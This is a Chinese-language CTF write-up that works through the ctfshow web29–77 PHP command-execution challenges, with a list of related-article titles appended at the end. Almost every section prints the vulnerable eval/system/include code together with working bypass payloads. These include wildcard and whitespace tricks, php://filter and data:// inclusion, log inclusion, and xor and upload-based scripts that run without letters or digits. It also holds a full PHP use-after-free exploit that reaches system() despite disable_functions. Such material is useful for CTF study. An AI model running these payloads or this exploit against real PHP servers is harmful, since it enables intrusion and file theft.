目录

1、flag|system|php

2、/flag|system| |php|cat|sort|shell|\.| |\'/i

3、 /flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(/i 过滤了所有命令

4、/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i

5、文件包含开始。

6、文件包含过滤/flag|php|file/

7、貌似只留下字母和小括号能用了。/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i

8、数字字母全部过滤,括号没有过滤

2、>/dev/null 2>&1

2.1简单过滤

/dev/null 2>&1");    }}else{    highlight_file(__FILE__);}

2.2、增加空格的过滤>/dev/null 2>&1

2.3、增加了数字和$过滤  >/dev/null 2>&1

2.4、过滤的更多了

2.5、一些通杀

3、system($c)

3.1、/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\

3.2、使用通配符*进行过滤

3.3、过滤了字母,点没有过滤,使用通配命令

3.4、过滤了字母和数字,用个脚本吧

3.5、只留下$((~$(())))可以使用了,构造出36就赢了

4、突破禁用函数

5、ob_get_contents();ob_end_clean();的使用

2、上个题目的函数都过滤了,这个题需要一些脚本web71

3、下面的脚本通杀web71-77


1、flag|system|php

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
}

web30

web30
?c=echo `tac fl?g.???`;
?c=echo `cat fl?g.???`;
或者
?c=echo  exec('nl fl?g.???');

2、/flag|system| |php|cat|sort|shell|\.| |\'/i

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
web31


?c=echo%09`tac%09f*`;

3、 /flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(/i 过滤了所有命令

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

相比上一关,增加了对`、echo、;以及(的过滤。这里还是可以使用上一关的payload来绕过。但是有一点点改动,就是对于;的过滤,要想办法去绕过。可以使用?>来闭合绕过

#web32-34

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

4、/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i

web-35--36

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

上门的同样能用

?c=require$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

5、文件包含开始。

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;    
    }

web37

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/plain,<?php system('cat fla*');?>

6、文件包含过滤/flag|php|file/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
还可以用日志包含
?c=/var/log/nginx/access.log
?c=data://text/plain,<?=system('cp fla* 1.txt');?>

7、貌似只留下字母和小括号能用了。/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i

web-40
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

屏蔽了许多的字符,这里发现了字母没有过滤,分号也没有。

这里网上对多的payload为:show_source(next(array_reverse(scandir(pos(localeconv())))));目前我还没有研究明白,后续搞懂了会更新。

还有一种是这样的:通过变量来获取。

?c=eval(array_pop(next(get_defined_vars())));

1=phpinfo();

8、数字字母全部过滤,括号没有过滤

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

web41 发现过滤了数字、字母都不可以使用了。所以想到了无数字字母的命令执行。通过异或来实现操作。刚好没有过滤掉|(或运算),所以可以通过两个字符的ASCII进行异或来得到我们想要的字符。yu师傅给出了两个脚本,膜拜了!

#encoding=utf-8
import re
import requestsurl="http://115c7bc5-8b3c-4539-9d89-c2da83e2b5a6.challenge.ctf.show/"a=[]
ans1=""
ans2=""
for i in range(0,256):c=chr(i)tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)if(tmp):continue#print(tmp.group(0))else:a.append(i)# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数  注意修改这里
def myfun(k,my):global ans1global ans2for i in range (0,len(a)):for j in range(i,len(a)):if(a[i]|a[j]==ord(my[k])):ans1+=chr(a[i])ans2+=chr(a[j])return
for k in range(0,len(mya)):myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

2、>/dev/null 2>&1

2.1简单过滤

if(isset($_GET['c'])){
    $c=$_GET['c'];

system($c." >/dev/null 2>&1");

payload  web42
?c=tac%20fla*%26%26ls    #&符号也需要编码,编码为26%# 实验结果证明了以上的论述,要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞,上图实验最后一条语句也证明了这个论述

web43-44

<?php
 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

#这里过滤了分号和cat,所以我们可以使用其他的命令分隔符来实现,||或者&&都可以。cat过滤的话,就可以使用tac。

?c=tac flag.php&&(&符号需要经过url编码)
payload:?c=tac fla*.php||
payload:?c=tac fla?.php||

2.2、增加空格的过滤>/dev/null 2>&1

增加了对空格的过滤。对于空格的绕过,有以下几种方法,一种就是使用ASCII码水平制表符(%09)。还有%20、%3c、${IFS}、$IFS$9等

这里我用了${IFS}来绕过。

payload为:?c=tac${IFS}fla?.php||

2.3、增加了数字和$过滤  >/dev/null 2>&1

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

对于过滤了$,导致我们不能使用${IFS}以及$IFS$9来绕过空格,但是我们还是可以使用%09来绕过,虽然这里是存在数字的,但是可以这样理解%09作为一个整体,被url解码之后就变成了水平制表符,并不是数字。所以构造的payload为:?c=tac%09fla?.php||

2.4、过滤的更多了

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web47-49用web46的payload继续打,可以通杀,

2.5、一些通杀

c=nl<>fla''g.php||   #(web51)
c=ca''t${IFS}fla''g.php||  #(web52)

3、system($c)

3.1、/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

web53

通过get方式传入参数c的值,只要匹配不到上述过滤的关键字,那么就会输出我们传入的c的值,之后便是直接通过system执行变量c,尝试直接传入ls,发现命令执行成功。最后便是通过cat、nl、tac命令来读取flag。
ca''t${IFS}fla?.php

3.2、使用通配符*进行过滤

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

web54

使用通配符进行过滤了,就不用上面的命令了,可以使用mv,将flag.php移动到1.txt,之后便可以直接去访问1.txt。

c=mv${IFS}fla?.php${IFS}1.txt

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

3.3、过滤了字母,点没有过滤,使用通配命令

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c); 
方法一        
?c=/???/????64 ????????
方法二
?c=/???/???/????2 ????????
?c=/usr/bin/bzip2 flag.php
方法三
?c=.+/???/????????[@-[]

一般上传的文件会被保存到linux中的/tmp/php??????,后面的6个?是随机生成的大小写。这里还要注意的是不要直接使用/tmp/php??????,否则?的部分会被匹配成小写,所以我们要通过[@-[]来匹配大写。

web55

3.4、过滤了字母和数字,用个脚本吧

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
        
exp

import requests
url="http://e8e83a6a-4176-4d6a-a768-450c34c701ae.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'cat flag.php'}
for i in range(2):
    response=requests.post(url,files=files)
    html = response.text
    print(html)

3.5、只留下$((~$(())))可以使用了,构造出36就赢了

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤了. 学到了一种新的方法:$(())=0  $((~$(())))=-1

(())是用来进行整数运算的命令,内部可以加上表达式,默认是相加的。36可以通过外层为$(())包裹内层,可以运算出36的表达式构造。36可以由-37取反得到。那么就是先得到-37。也就是37个$((~$(())))便可以得到-37。之后便可以将他们整体在进行一次取反,便可以得到36.
————————————————
payload:c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

4、突破禁用函数

web58-67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);

system() has been disabled for security reasons说明php.ini配置中默认禁用了执行系统外部命令函数,我们可以用php内置函数来读取文件
POST提交参数c的值,再将c的值赋值给变量c,直接eval,执行变量c的值。

这里过滤了很多的函数,比如我们常见的命令执行函数system、passthru、shell_exec等

这里我们可以通过scandir来扫描目录。通过var_dump、print_r进行输出。至于怎么来查看flag。可以使用highlight_file、show_source。
————————————————

c=print_r(scandir("."));
c=var_dump(scandir("."));
c=show_source("flag.php");
c=highlight_file("flag.php");

web68

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
POST
c=include("/flag.txt");

web69-70

在上一关的基础上,将我们使用print_r、以及var_dump都被过滤了,那么怎么办?我也没招,看到大佬还有一个可以代替var_dump的就是var_export,之后还是通过require、include、require_once、include_once等将根目录下的flag.txt包含进来,因为flag.txt中不是代码,所以直接包含。
————————————————

c=var_export(scandir("."));
c=include("/flag.txt");
c=require_once("/flag.txt");
c=require_once("/flag.txt");

5、ob_get_contents();ob_end_clean();的使用

web71  error_reporting(0); 
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

ob_get_contents():返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回FALSE 。

ob_end_clean():清空(擦除)缓冲区并关闭输出缓冲,此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
大概了解了这两个函数之后,感觉可以写两条语句,尝试执行c=var_export(scandir('/'));die();成功。c=include("/flag.txt");exit(0);或者c=require_once("/flag.txt");exit(0);

2、上个题目的函数都过滤了,这个题需要一些脚本web71

先查询到flag文件的位置,找到 flag0.txt 文件

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

第二步需要通过url编码哦

c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");ob_end_flush();

3、下面的脚本通杀web71-77

你要上天吗?
解题过程
open_basedir没有限制根目录,但限制了flag文件.
include()不行了,可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag,payload如下:第一步:
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
第二步
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

命令执行各种姿势总结相关推荐

  1. 命令执行无回显的一些姿势

    前言 最近演练遇到了拿shell后,由于是延时注入,让我极其难受.于是,学习了一下命令执行无回显的一些姿势 windows环境 1.ping %USERNAME%.2plmqc.dnslog.cn 这 ...

  2. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  3. 【注意】关于Redis存在远程命令执行漏洞的安全公告

    点击蓝色"程序猿DD"关注我 回复"资源"获取独家整理的学习资料! 来源:CNVD漏洞平台 安全公告编号:CNTA-2019-0024 2019年7月10日,国 ...

  4. 代码审计——命令执行

    文章目录 前言 一.代码执行的几种方式 1.${}执行代码 2.eval 3.assert 4.preg_replace 5.create_function() 6.array_map() 7.cal ...

  5. ctf xor题_CTF下的命令执行

    前言: 做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来. 0x00:一些绕过姿势 在遇到的一些web题中,会经常将以下几种给过滤或者进行限制: 空格 命令分隔符 关键字 限制长度 限制 ...

  6. ctfshow web入门 命令执行:55-57

    刷题记录. 目录 web55 web56 web57 web55 关键源码: // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match ...

  7. ctfhsow web入门 命令执行大全

    目录 web-29 web-30 web-31 web-32 web33-36 web-37 web-38 web-39 web-40 web-41 web-42 web-43 web-44 web4 ...

  8. 命令执行(ctfshow)

    文章目录 介绍 PHP命令执行的参数 ${php代码} assert preg_replace() create_function() 介绍 构造一些payload 实现后门的搭建 array_map ...

  9. 关于命令执行Bypass的一些思路

    更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一 作者:掌控安全-xiao_yi 一.常见命令执行的函数 system() system(string $command, int &a ...

最新文章

  1. 体外反搏做_体外反搏治疗的原理
  2. adchos 文本混淆工具
  3. python 内部函数,以及lambda,filter,map等内置函数
  4. 微信分享给朋友无响应
  5. 哈希表(散列表)知识点概述
  6. 500只产品汪周末齐聚宇宙中心五道口,这里发生了什么?
  7. 利用 LotusScript 灵活操作 Lotus Notes 富文本域
  8. Simple Polygon Embedding CodeForces - 1354C1(计算几何)
  9. python字符串的切片方式是[n、m、不包括m_python字符串的操作(去掉空格strip(),切片,查找,连接join(),分割split(),转换首字母大写, 转换字母大小写...)...
  10. ide循环执行用例 selenium_使用Selenium测试Web界面时使用循环控制功能
  11. C++线程中的几类锁
  12. python做积分计算器_PyQt5练习:积分计算器
  13. idea2019.3.3不能热部署_复盘曼联2-1热刺:3大战术力助索肖自救,1人成“红魔”复苏关键...
  14. Unity: 打飞碟Adapter版
  15. Rme娃娃脸声卡驱动安装设置方法
  16. plc梯形图转c语言,plc梯形图转换成stl程序的实例教程
  17. 爬虫实战 爬取谷歌图片 Google images
  18. idea插件开发--组件--编程久坐提醒
  19. android百度导航demo,Android - 百度导航Demo,我们一起来踩坑!
  20. Camera效果测试-色彩准确性及饱和度测试

热门文章

  1. linux怎么写用拼音写中文为什么出错,linux上的搜狗拼音用不了啦?快来看怎么解决...
  2. 软硬件兼容STM32F103系列的国产32位MCU
  3. 气相色谱仪如何操作,气相色谱仪操作方法
  4. c#求三角形面积周长公式_C# 定积分求周长面积原理 代码实现
  5. 自己构建pomelo的Cocos2d-iPhone Client
  6. tanx-sinx=tan(1-cosx)的证明
  7. 更全的扩招大学名单!超百所“双一流”高校公布2021年硕士招生人数
  8. servlet多重映射_一个
  9. 一年后 php_PHP获取今天、明天、一个月后、一年后等等时间函数
  10. CTF-writeup-web-前女友